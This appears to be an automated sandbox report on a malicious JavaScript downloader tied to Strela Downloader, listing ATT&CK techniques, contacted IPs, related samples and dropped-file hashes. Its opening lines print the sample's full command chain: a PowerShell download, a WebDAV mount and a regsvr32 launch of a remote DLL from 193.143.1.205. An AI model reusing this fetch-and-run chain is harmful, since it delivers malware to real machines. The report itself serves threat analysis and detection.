Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
705722057165658523.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/%	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/g	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.3041390944.000002C8C5600000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
http://193.143.1.205:8888/%	net.exe, 00000006.00000002.1806301721.000002440FFC3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/g	net.exe, 00000006.00000002.1806301721.000002440FF90000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1809487546.000002C8C5522000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1806301721.000002440FFC3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1806301721.000002440FFDE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1806301721.000002440FF90000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1809487546.000002C8C5522000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587558
Start date and time:	2025-01-10 14:53:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	705722057165658523.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 2.16.168.105, 2.16.168.107, 52.22.41.97, 52.6.155.20, 3.219.243.226, 3.233.129.217, 162.159.61.3, 172.64.41.3, 2.23.197.184, 2.22.50.131, 2.22.50.144, 184.28.90.27, 34.237.241.83, 4.245.163.56, 104.126.112.182, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
08:54:10	API Interceptor	24x Sleep call for process: powershell.exe modified
08:54:14	API Interceptor	1x Sleep call for process: net.exe modified
08:54:14	API Interceptor	2x Sleep call for process: svchost.exe modified
08:54:21	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	382215884163542302.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	571464521086425926.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18607323151113325657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2503475573085815370.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17772451271118687.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1353125634235611874.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	289215992948720779.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1947415746274847548.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10848104561916132198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	145332287313130856.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	18474255912080825433.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	382215884163542302.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	571464521086425926.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18607323151113325657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2503475573085815370.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27311161302332319656.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17772451271118687.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1353125634235611874.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	289215992948720779.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1947415746274847548.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073563293073631
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrj:KooCEYhgYEL0In
MD5:	A8A4C8A2DF4019A1A74E7AE0C665896F
SHA1:	1242E4D4573791B904FE5242B1D7A9DF5186CC73
SHA-256:	8B37CE23EC3656901A4295148F8A29C0FB8E0053BA6D31AA0C20CD669A3C3E61
SHA-512:	19D35B92A9A10382C1183FDB80312E20EFB5E95408F2EDBFDF1B5B556C9CFEDADB88FC6F9724B80A1ECE2AD75FF25223EE93C2BEDC6545F4922038616D2C5C3F
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x3cf63085, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221413873881764
Encrypted:	false
SSDEEP:	1536:RSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Raza/vMUM2Uvz7DO
MD5:	14A124B47E4EB748C7DBE0344360B088
SHA1:	D8199FD2C868F4E26143521033342BBD7FB609C7
SHA-256:	D2AEC9F80367D9AF9B4028F38B9439249F17620A29B8BD162DF282FA6D8D54A8
SHA-512:	A5073CF3DBE93857B744A8C7033BE1FB2F10F34AA716697C7EE731A9B297361A6AD6032AA6B4A0D70DF5FCF3AA9C4D09280A6F68F06070A34D6A7895DAB4120B
Malicious:	false
Preview:	<.0.... .......A.......X\...;...{......................0.!..........{A..6...}%.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{...................................\|.=.6...}...................{-..6...}%..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0767459277491109
Encrypted:	false
SSDEEP:	3:gtKYedUAnAjjn13a/4EoyRAvillcVO/lnlZMxZNQl:gtKzduj53qJoyeGOewk
MD5:	6771FBDE5D9238AA1C5155BC5D3C500B
SHA1:	162B1BC3C366C883C12B9B0278CA51F6036B71EE
SHA-256:	86DEF8A862A2CB132EF28E3662DAF803EE65C25D27AB6E942E8893791DDA0CC8
SHA-512:	6068AC4E65F28C9C8A585526C3AE62000F24353A6BF85C8F2EC568084F9078DE09CFDC91BE31F25ACE6B45E07709F1C688B70BDA0672AC351155099E72402482
Malicious:	false
Preview:	.8.......................................;...{...6...}%......{A..............{A......{A..........{A].................{-..6...}%.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.199751412126115
Encrypted:	false
SSDEEP:	6:iO4odhSAq2Pwkn2nKuAl9OmbnIFUtSodhItZmwsodhIfkwOwkn2nKuAl9OmbjLJ:7v/SAvYfHAahFUtR/It/7/If5JfHAaSJ
MD5:	B0131CCADA1BDE4F1017FE104672E444
SHA1:	152ABBBD6F055886D6B0C487FAFE8A9CB375C8E1
SHA-256:	2EA02C18A12ED920C81F6366A3CE3BCBDDF0D93BA2ADDDD588F79B61659D580A
SHA-512:	E73EBF0F71143B2EBC8A8B7562AFC0CD9C1EE7FAA4AC36FDCBDF978EBC306AAF34DE41A33E4C233D5D8765EE1E903EEF3F2681E585E0134038308BD7A37028BE
Malicious:	false
Preview:	2025/01/10-08:54:14.239 16b0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-08:54:14.242 16b0 Recovering log #3.2025/01/10-08:54:14.242 16b0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.199751412126115
Encrypted:	false
SSDEEP:	6:iO4odhSAq2Pwkn2nKuAl9OmbnIFUtSodhItZmwsodhIfkwOwkn2nKuAl9OmbjLJ:7v/SAvYfHAahFUtR/It/7/If5JfHAaSJ
MD5:	B0131CCADA1BDE4F1017FE104672E444
SHA1:	152ABBBD6F055886D6B0C487FAFE8A9CB375C8E1
SHA-256:	2EA02C18A12ED920C81F6366A3CE3BCBDDF0D93BA2ADDDD588F79B61659D580A
SHA-512:	E73EBF0F71143B2EBC8A8B7562AFC0CD9C1EE7FAA4AC36FDCBDF978EBC306AAF34DE41A33E4C233D5D8765EE1E903EEF3F2681E585E0134038308BD7A37028BE
Malicious:	false
Preview:	2025/01/10-08:54:14.239 16b0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-08:54:14.242 16b0 Recovering log #3.2025/01/10-08:54:14.242 16b0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.158296865950929
Encrypted:	false
SSDEEP:	6:iO4od7fJIq2Pwkn2nKuAl9Ombzo2jMGIFUtSodY5ZmwsodYTkwOwkn2nKuAl9OmT:7vBfJIvYfHAa8uFUtR+/7y5JfHAa8RJ
MD5:	CB6E7C3D11C86F83C81D8C1A4E2D2FAF
SHA1:	E6CA77B7767FEAF3A4F82AA1AF4000CD9C93863B
SHA-256:	DD2F480B8A16130FFDCC77ABC409919809904050993D709ABAD780DB44F4FE72
SHA-512:	DD2651952421C6522EDEE3BE107E7C44F6801693393F24A6A37DAB6F3B0A8804603CA9F34C8BF7BCE321504DE84ACBA28BE3B9DF71ECDB20DCCF6B7EBEDBB651
Malicious:	false
Preview:	2025/01/10-08:54:14.330 1c84 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-08:54:14.331 1c84 Recovering log #3.2025/01/10-08:54:14.331 1c84 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.158296865950929
Encrypted:	false
SSDEEP:	6:iO4od7fJIq2Pwkn2nKuAl9Ombzo2jMGIFUtSodY5ZmwsodYTkwOwkn2nKuAl9OmT:7vBfJIvYfHAa8uFUtR+/7y5JfHAa8RJ
MD5:	CB6E7C3D11C86F83C81D8C1A4E2D2FAF
SHA1:	E6CA77B7767FEAF3A4F82AA1AF4000CD9C93863B
SHA-256:	DD2F480B8A16130FFDCC77ABC409919809904050993D709ABAD780DB44F4FE72
SHA-512:	DD2651952421C6522EDEE3BE107E7C44F6801693393F24A6A37DAB6F3B0A8804603CA9F34C8BF7BCE321504DE84ACBA28BE3B9DF71ECDB20DCCF6B7EBEDBB651
Malicious:	false
Preview:	2025/01/10-08:54:14.330 1c84 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-08:54:14.331 1c84 Recovering log #3.2025/01/10-08:54:14.331 1c84 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\1ec598f9-2c38-4458-801e-fbd75f365eea.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.974582614800249
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqXiksBdOg2HR2caq3QYiubInP7E4T3y:Y2sRdsTJdMHRJ3QYhbG7nby
MD5:	E1DC839ABFF787010E7B7DD80FF5516B
SHA1:	FBAB8FB2C6BC16F5A37539F9ADA5E6D73606282A
SHA-256:	BA289B845B3893FA602B479996D715A87E89F16786539BF92CEE541D4F27CBC4
SHA-512:	FD1D9ED3F9DA888031F9422A49D539E51613419FF3A2EBEDB59403C3E8EA9BE0B0C59B960E21909BA34B59D6A738E7B42871B0C83C80298BDC83F43DF177DEB8
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381077266060049","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":127866},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7e3446b5-148e-4946-aaaf-2da1f4eac7a4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.966895279106768
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4T3y:Y2sRdsVdMHO3QYhbG7nby
MD5:	2B2DD4FFCADFFFA544C423CE65A911E2
SHA1:	3C690C4670D732A1F54C5BD0B93A7CFF6CA96720
SHA-256:	7ACAC2E53C854E8000F43FE4CB549E82A2B9F6A957366C429ABB730EE326CBD0
SHA-512:	51D13C2DCDFB21C1C0F1756DA980098861148C6CE5CBB18F8D6247FB33D1037B60EB4CE27C7AC482D705509BD1BDF1EDDBC619CC6D6610A3EED3F2AAD0185C50
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.966895279106768
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4T3y:Y2sRdsVdMHO3QYhbG7nby
MD5:	2B2DD4FFCADFFFA544C423CE65A911E2
SHA1:	3C690C4670D732A1F54C5BD0B93A7CFF6CA96720
SHA-256:	7ACAC2E53C854E8000F43FE4CB549E82A2B9F6A957366C429ABB730EE326CBD0
SHA-512:	51D13C2DCDFB21C1C0F1756DA980098861148C6CE5CBB18F8D6247FB33D1037B60EB4CE27C7AC482D705509BD1BDF1EDDBC619CC6D6610A3EED3F2AAD0185C50
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF5bebdc.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.966895279106768
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4T3y:Y2sRdsVdMHO3QYhbG7nby
MD5:	2B2DD4FFCADFFFA544C423CE65A911E2
SHA1:	3C690C4670D732A1F54C5BD0B93A7CFF6CA96720
SHA-256:	7ACAC2E53C854E8000F43FE4CB549E82A2B9F6A957366C429ABB730EE326CBD0
SHA-512:	51D13C2DCDFB21C1C0F1756DA980098861148C6CE5CBB18F8D6247FB33D1037B60EB4CE27C7AC482D705509BD1BDF1EDDBC619CC6D6610A3EED3F2AAD0185C50
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.257675550093302
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7VUl2:etJCV4FiN/jTN/2r8Mta02fEhgO73gon
MD5:	76ED28211728927A6B35D4B30FA274AA
SHA1:	167795432ADF153D3D3546D6A361BF7838E609A5
SHA-256:	45710D552E4BDD150CB4636405A0B69C350039BD762D2BF3A01CFCBBC8208A55
SHA-512:	BC8EB190AF059C787EFEF7191AC20800C7153DA8B7DB907B5ECA1CF98A9B197DBBB1BA26D5D9A25E72DDAD7BB541BD071D585FB59CA1714B9C58FC976D291E7F
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.192024193802814
Encrypted:	false
SSDEEP:	6:iO4odlZTjIq2Pwkn2nKuAl9OmbzNMxIFUtSodcX6ZmwsodyzkwOwkn2nKuAl9Omk:7v7ZHIvYfHAa8jFUtR+q/745JfHAa84J
MD5:	1A4551BC8FA8BBB1A5D03A6EEC934899
SHA1:	2ED6BC2A204DA775E0F46B0E505BFC2F28E1DA73
SHA-256:	2AD1C644AD7611FADC9FFD95134D915FF9CCCE324964BCEAF46B878372661099
SHA-512:	77134594300156328D4B39D16D2C56809B7BEA85F43096C4787BF83512B2D8D05887394D9B3625D6BA6BE0C01BC26C5FCFAC9E0FA5106AA38D5752E71DCBFFA4
Malicious:	false
Preview:	2025/01/10-08:54:14.660 1c84 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-08:54:14.703 1c84 Recovering log #3.2025/01/10-08:54:14.715 1c84 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.192024193802814
Encrypted:	false
SSDEEP:	6:iO4odlZTjIq2Pwkn2nKuAl9OmbzNMxIFUtSodcX6ZmwsodyzkwOwkn2nKuAl9Omk:7v7ZHIvYfHAa8jFUtR+q/745JfHAa84J
MD5:	1A4551BC8FA8BBB1A5D03A6EEC934899
SHA1:	2ED6BC2A204DA775E0F46B0E505BFC2F28E1DA73
SHA-256:	2AD1C644AD7611FADC9FFD95134D915FF9CCCE324964BCEAF46B878372661099
SHA-512:	77134594300156328D4B39D16D2C56809B7BEA85F43096C4787BF83512B2D8D05887394D9B3625D6BA6BE0C01BC26C5FCFAC9E0FA5106AA38D5752E71DCBFFA4
Malicious:	false
Preview:	2025/01/10-08:54:14.660 1c84 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-08:54:14.703 1c84 Recovering log #3.2025/01/10-08:54:14.715 1c84 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.4450418818563815
Encrypted:	false
